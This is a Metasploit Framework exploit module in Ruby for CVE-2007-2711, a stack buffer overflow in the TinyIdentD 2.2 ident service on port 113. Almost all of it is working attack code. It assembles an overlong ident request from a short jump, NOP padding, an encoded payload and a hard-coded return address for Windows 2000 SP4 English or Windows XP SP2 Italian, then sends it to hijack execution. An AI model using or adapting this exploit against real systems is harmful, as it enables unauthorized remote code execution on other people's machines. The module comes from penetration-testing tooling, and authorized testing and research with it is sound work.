### $Id: tiny_identd_overflow.rb 10394 2010-09-20 08:06:27Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow','Description'=> %q{
This module exploits a stack based buffer overflow in TinyIdentD version 2.2.If we send a long string to the ident service we can overwrite the return
address and execute arbitrary code. Credit to Maarten Boone.},'Author' => 'Jacopo Cervini <acaro[at]jervus.it>','Version'=> '$Revision: 10394 $','References' =>
[['CVE','2007-2711'],['OSVDB','36053'],['BID','23981'],],'Payload'=>
{'Space'=> 400,'BadChars' => "\x00\x0d\x20\x0a"},'Platform' => 'win','Targets'=>
[['Windows 2000 Server SP4 English',{'Ret' => 0x7c2d15e7,}],# call esi['Windows XP SP2 Italian',{'Ret' => 0x77f46eda,}],# call esi],'Privileged' => false,'DisclosureDate' => 'May 14 2007'))
register_options([ Opt::RPORT(113)], self.class)end
def exploit
connect
pattern= "\xeb\x20"+", 28 : USERID : UNIX :";
pattern << make_nops(0x1eb - payload.encoded.length)
pattern << payload.encoded
pattern << [ target.ret ].pack('V')
request= pattern +"\n"
print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")
sock.put(request)
handler
disconnect
endend